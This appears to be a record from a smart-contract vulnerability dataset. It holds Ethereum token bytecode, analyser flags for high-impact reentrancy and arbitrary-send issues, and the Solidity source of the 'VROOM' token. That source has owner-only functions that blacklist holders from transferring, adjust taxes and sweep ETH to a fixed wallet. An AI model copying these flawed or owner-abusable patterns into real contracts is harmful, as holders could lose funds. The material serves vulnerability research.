0x6080604052600436106101db5760003560e01c80637c519ffb11610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461056d578063dd62ed3e1461058d578063ea1644d5146105d3578063f2fde38b146105f357600080fd5b8063a2a957bb146104e8578063a9059cbb14610508578063bfd7928414610528578063c3c8cd801461055857600080fd5b80638da5cb5b116100d15780638da5cb5b146104635780638f9a55c01461048157806395d89b411461049757806398a5c315146104c857600080fd5b80637c519ffb146103f65780637d1db4a51461040b5780637f2feddc146104215780638203f5fe1461044e57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038c57806370a08231146103a1578063715018a6146103c157806374010ece146103d657600080fd5b8063313ce5671461031057806349bd5a5e1461032c5780636b9990531461034c5780636d8aa8f81461036c57600080fd5b80631694505e116101b65780631694505e1461027c57806318160ddd146102b457806323b872dd146102da5780632fd689e3146102fa57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024c57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b3e565b610613565b005b34801561021557600080fd5b50604080518082019091526008815267053686962547269760c41b60208201525b6040516102439190611c03565b60405180910390f35b34801561025857600080fd5b5061026c610267366004611c58565b6106b2565b6040519015158152602001610243565b34801561028857600080fd5b5060135461029c906001600160a01b031681565b6040516001600160a01b039091168152602001610243565b3480156102c057600080fd5b50683635c9adc5dea000005b604051908152602001610243565b3480156102e657600080fd5b5061026c6102f5366004611c84565b6106c9565b34801561030657600080fd5b506102cc60175481565b34801561031c57600080fd5b5060405160098152602001610243565b34801561033857600080fd5b5060145461029c906001600160a01b031681565b34801561035857600080fd5b50610207610367366004611cc5565b610732565b34801561037857600080fd5b50610207610387366004611cf2565b61077d565b34801561039857600080fd5b506102076107c5565b3480156103ad57600080fd5b506102cc6103bc366004611cc5565b6107f2565b3480156103cd57600080fd5b50610207610814565b3480156103e257600080fd5b506102076103f1366004611d0d565b610888565b34801561040257600080fd5b506102076108cb565b34801561041757600080fd5b506102cc60155481565b34801561042d57600080fd5b506102cc61043c366004611cc5565b60116020526000908152604090205481565b34801561045a57600080fd5b50610207610921565b34801561046f57600080fd5b506000546001600160a01b031661029c565b34801561048d57600080fd5b506102cc60165481565b3480156104a357600080fd5b50604080518082019091526008815267053484942545249560c41b6020820152610236565b3480156104d457600080fd5b506102076104e3366004611d0d565b610af0565b3480156104f457600080fd5b50610207610503366004611d26565b610b1f565b34801561051457600080fd5b5061026c610523366004611c58565b610b79565b34801561053457600080fd5b5061026c610543366004611cc5565b60106020526000908152604090205460ff1681565b34801561056457600080fd5b50610207610b86565b34801561057957600080fd5b50610207610588366004611d58565b610bbc565b34801561059957600080fd5b506102cc6105a8366004611ddc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105df57600080fd5b506102076105ee366004611d0d565b610c5d565b3480156105ff57600080fd5b5061020761060e366004611cc5565b610c8c565b6000546001600160a01b031633146106465760405162461bcd60e51b815260040161063d90611e15565b60405180910390fd5b60005b81518110156106ae5760016010600084848151811061066a5761066a611e4a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a681611e76565b915050610649565b5050565b60006106bf338484610d76565b5060015b92915050565b60006106d6848484610e9a565b610728843361072385604051806060016040528060288152602001611f8e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113d6565b610d76565b5060019392505050565b6000546001600160a01b0316331461075c5760405162461bcd60e51b815260040161063d90611e15565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107a75760405162461bcd60e51b815260040161063d90611e15565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107e557600080fd5b476107ef81611410565b50565b6001600160a01b0381166000908152600260205260408120546106c39061144a565b6000546001600160a01b0316331461083e5760405162461bcd60e51b815260040161063d90611e15565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b25760405162461bcd60e51b815260040161063d90611e15565b674563918244f4000081116108c657600080fd5b601555565b6000546001600160a01b031633146108f55760405162461bcd60e51b815260040161063d90611e15565b601454600160a01b900460ff161561090c57600080fd5b6014805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461094b5760405162461bcd60e51b815260040161063d90611e15565b601454600160a01b900460ff161561096257600080fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156109c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109eb9190611e8f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5c9190611e8f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610aa9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610acd9190611e8f565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610b1a5760405162461bcd60e51b815260040161063d90611e15565b601755565b6000546001600160a01b03163314610b495760405162461bcd60e51b815260040161063d90611e15565b60095482111580610b5c5750600b548111155b610b6557600080fd5b600893909355600a91909155600955600b55565b60006106bf338484610e9a565b6012546001600160a01b0316336001600160a01b031614610ba657600080fd5b6000610bb1306107f2565b90506107ef816114ce565b6000546001600160a01b03163314610be65760405162461bcd60e51b815260040161063d90611e15565b60005b82811015610c57578160056000868685818110610c0857610c08611e4a565b9050602002016020810190610c1d9190611cc5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4f81611e76565b915050610be9565b50505050565b6000546001600160a01b03163314610c875760405162461bcd60e51b815260040161063d90611e15565b601655565b6000546001600160a01b03163314610cb65760405162461bcd60e51b815260040161063d90611e15565b6001600160a01b038116610d1b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161063d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063d565b6001600160a01b038216610e395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610efe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063d565b6001600160a01b038216610f605760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063d565b60008111610fc25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063d565b6000546001600160a01b03848116911614801590610fee57506000546001600160a01b03838116911614155b156112cf57601454600160a01b900460ff16611087576000546001600160a01b038481169116146110875760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161063d565b6015548111156110d95760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161063d565b6001600160a01b03831660009081526010602052604090205460ff1615801561111b57506001600160a01b03821660009081526010602052604090205460ff16155b6111735760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161063d565b6014546001600160a01b038381169116146111f85760165481611195846107f2565b61119f9190611eac565b106111f85760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161063d565b6000611203306107f2565b60175460155491925082101590821061121c5760155491505b8080156112335750601454600160a81b900460ff16155b801561124d57506014546001600160a01b03868116911614155b80156112625750601454600160b01b900460ff165b801561128757506001600160a01b03851660009081526005602052604090205460ff16155b80156112ac57506001600160a01b03841660009081526005602052604090205460ff16155b156112cc576112ba826114ce565b4780156112ca576112ca47611410565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061131157506001600160a01b03831660009081526005602052604090205460ff165b8061134357506014546001600160a01b0385811691161480159061134357506014546001600160a01b03848116911614155b15611350575060006113ca565b6014546001600160a01b03858116911614801561137b57506013546001600160a01b03848116911614155b1561138d57600854600c55600954600d555b6014546001600160a01b0384811691161480156113b857506013546001600160a01b03858116911614155b156113ca57600a54600c55600b54600d555b610c5784848484611648565b600081848411156113fa5760405162461bcd60e51b815260040161063d9190611c03565b5060006114078486611ec4565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106ae573d6000803e3d6000fd5b60006006548211156114b15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161063d565b60006114bb611676565b90506114c78382611699565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061151657611516611e4a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561156f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115939190611e8f565b816001815181106115a6576115a6611e4a565b6001600160a01b0392831660209182029290920101526013546115cc9130911684610d76565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611605908590600090869030904290600401611edb565b600060405180830381600087803b15801561161f57600080fd5b505af1158015611633573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611655576116556116db565b611660848484611709565b80610c5757610c57600e54600c55600f54600d55565b6000806000611683611800565b90925090506116928282611699565b9250505090565b60006114c783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611842565b600c541580156116eb5750600d54155b156116f257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061171b87611870565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174d90876118cd565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461177c908661190f565b6001600160a01b03891660009081526002602052604090205561179e8161196e565b6117a884836119b8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117ed91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061181c8282611699565b82101561183957505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118635760405162461bcd60e51b815260040161063d9190611c03565b5060006114078486611f4c565b600080600080600080600080600061188d8a600c54600d546119dc565b925092509250600061189d611676565b905060008060006118b08e878787611a31565b919e509c509a509598509396509194505050505091939550919395565b60006114c783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d6565b60008061191c8385611eac565b9050838110156114c75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161063d565b6000611978611676565b905060006119868383611a81565b306000908152600260205260409020549091506119a3908261190f565b30600090815260026020526040902055505050565b6006546119c590836118cd565b6006556007546119d5908261190f565b6007555050565b60008080806119f660646119f08989611a81565b90611699565b90506000611a0960646119f08a89611a81565b90506000611a2182611a1b8b866118cd565b906118cd565b9992985090965090945050505050565b6000808080611a408886611a81565b90506000611a4e8887611a81565b90506000611a5c8888611a81565b90506000611a6e82611a1b86866118cd565b939b939a50919850919650505050505050565b600082600003611a93575060006106c3565b6000611a9f8385611f6e565b905082611aac8583611f4c565b146114c75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161063d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ef57600080fd5b8035611b3981611b19565b919050565b60006020808385031215611b5157600080fd5b823567ffffffffffffffff80821115611b6957600080fd5b818501915085601f830112611b7d57600080fd5b813581811115611b8f57611b8f611b03565b8060051b604051601f19603f83011681018181108582111715611bb457611bb4611b03565b604052918252848201925083810185019188831115611bd257600080fd5b938501935b82851015611bf757611be885611b2e565b84529385019392850192611bd7565b98975050505050505050565b600060208083528351808285015260005b81811015611c3057858101830151858201604001528201611c14565b81811115611c42576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c6b57600080fd5b8235611c7681611b19565b946020939093013593505050565b600080600060608486031215611c9957600080fd5b8335611ca481611b19565b92506020840135611cb481611b19565b929592945050506040919091013590565b600060208284031215611cd757600080fd5b81356114c781611b19565b80358015158114611b3957600080fd5b600060208284031215611d0457600080fd5b6114c782611ce2565b600060208284031215611d1f57600080fd5b5035919050565b60008060008060808587031215611d3c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d6d57600080fd5b833567ffffffffffffffff80821115611d8557600080fd5b818601915086601f830112611d9957600080fd5b813581811115611da857600080fd5b8760208260051b8501011115611dbd57600080fd5b602092830195509350611dd39186019050611ce2565b90509250925092565b60008060408385031215611def57600080fd5b8235611dfa81611b19565b91506020830135611e0a81611b19565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611e8857611e88611e60565b5060010190565b600060208284031215611ea157600080fd5b81516114c781611b19565b60008219821115611ebf57611ebf611e60565b500190565b600082821015611ed657611ed6611e60565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f2b5784516001600160a01b031683529383019391830191600101611f06565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f6957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f8857611f88611e60565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e8001e867d7e1de4ed4455fa415b4c40f9fa229bf6e4b1ef383273c5487f2b0064736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,845
0x057c3781c4f0dab5a50cb007db3cd8a12685f8e8
/** *Submitted for verification at Etherscan.io on 2022-04-21 */ /* __/\\\________/\\\____/\\\\\\\\\___________/\\\\\____________/\\\\\_______/\\\\____________/\\\\_ _\/\\\_______\/\\\__/\\\///////\\\_______/\\\///\\\________/\\\///\\\____\/\\\\\\________/\\\\\\_ _\//\\\______/\\\__\/\\\_____\/\\\_____/\\\/__\///\\\____/\\\/__\///\\\__\/\\\//\\\____/\\\//\\\_ __\//\\\____/\\\___\/\\\\\\\\\\\/_____/\\\______\//\\\__/\\\______\//\\\_\/\\\\///\\\/\\\/_\/\\\_ ___\//\\\__/\\\____\/\\\//////\\\____\/\\\_______\/\\\_\/\\\_______\/\\\_\/\\\__\///\\\/___\/\\\_ ____\//\\\/\\\_____\/\\\____\//\\\___\//\\\______/\\\__\//\\\______/\\\__\/\\\____\///_____\/\\\_ _____\//\\\\\______\/\\\_____\//\\\___\///\\\__/\\\_____\///\\\__/\\\____\/\\\_____________\/\\\_ ______\//\\\_______\/\\\______\//\\\____\///\\\\\/________\///\\\\\/_____\/\\\_____________\/\\\_ _______\///________\///________\///_______\/////____________\/////_______\///______________\///__ https://vroomtoken.finance https://t.me/mooningdream */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract VROOM is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e11 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "A Mooning Dream"; string private constant _symbol = "VROOM"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxHoldAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xA9733e2705f375B9a77E4eBcD34f860DB40D47d9); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount<= _maxTxAmount); require(amount.add(walletBalance) <= _maxHoldAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 1e9 * 10**9; _maxHoldAmount = 2e9 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount, uint256 maxHoldAmount) external onlyOwner() { if (maxTxAmount > 5e8 * 10**9) { _maxTxAmount = maxTxAmount; _maxHoldAmount = maxHoldAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063733ec069116100ab578063b515566a1161006f578063b515566a1461034d578063c3c8cd801461036d578063c9567bf914610382578063dbe8272c14610397578063dc1052e2146103b7578063dd62ed3e146103d757600080fd5b8063733ec069146102a25780638da5cb5b146102c257806395d89b41146102ea5780639e78fb4f14610318578063a9059cbb1461032d57600080fd5b8063313ce567116100f2578063313ce5671461021c57806346df33b7146102385780636fc3eaec1461025857806370a082311461026d578063715018a61461028d57600080fd5b806306fdde031461013a578063095ea7b31461018457806318160ddd146101b457806323b872dd146101da578063273123b7146101fa57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600f81526e41204d6f6f6e696e6720447265616d60881b60208201525b60405161017b9190611684565b60405180910390f35b34801561019057600080fd5b506101a461019f3660046116fe565b61041d565b604051901515815260200161017b565b3480156101c057600080fd5b5068056bc75e2d631000005b60405190815260200161017b565b3480156101e657600080fd5b506101a46101f536600461172a565b610434565b34801561020657600080fd5b5061021a61021536600461176b565b61049d565b005b34801561022857600080fd5b506040516009815260200161017b565b34801561024457600080fd5b5061021a610253366004611796565b6104f1565b34801561026457600080fd5b5061021a610539565b34801561027957600080fd5b506101cc61028836600461176b565b610570565b34801561029957600080fd5b5061021a610592565b3480156102ae57600080fd5b5061021a6102bd3660046117b3565b610606565b3480156102ce57600080fd5b506000546040516001600160a01b03909116815260200161017b565b3480156102f657600080fd5b5060408051808201909152600581526456524f4f4d60d81b602082015261016e565b34801561032457600080fd5b5061021a61064f565b34801561033957600080fd5b506101a46103483660046116fe565b610861565b34801561035957600080fd5b5061021a6103683660046117eb565b61086e565b34801561037957600080fd5b5061021a610900565b34801561038e57600080fd5b5061021a610940565b3480156103a357600080fd5b5061021a6103b23660046118b0565b610af6565b3480156103c357600080fd5b5061021a6103d23660046118b0565b610b2e565b3480156103e357600080fd5b506101cc6103f23660046118c9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061042a338484610b66565b5060015b92915050565b6000610441848484610c8a565b610493843361048e85604051806060016040528060288152602001611ac6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fa8565b610b66565b5060019392505050565b6000546001600160a01b031633146104d05760405162461bcd60e51b81526004016104c790611902565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461051b5760405162461bcd60e51b81526004016104c790611902565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105635760405162461bcd60e51b81526004016104c790611902565b4761056d81610fe2565b50565b6001600160a01b03811660009081526002602052604081205461042e9061101c565b6000546001600160a01b031633146105bc5760405162461bcd60e51b81526004016104c790611902565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106305760405162461bcd60e51b81526004016104c790611902565b6706f05b59d3b2000082111561064b57601082905560118190555b5050565b6000546001600160a01b031633146106795760405162461bcd60e51b81526004016104c790611902565b600f54600160a01b900460ff16156106d35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c7565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610738573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075c9190611937565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107cd9190611937565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561081a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083e9190611937565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b600061042a338484610c8a565b6000546001600160a01b031633146108985760405162461bcd60e51b81526004016104c790611902565b60005b815181101561064b576001600660008484815181106108bc576108bc611954565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f881611980565b91505061089b565b6000546001600160a01b0316331461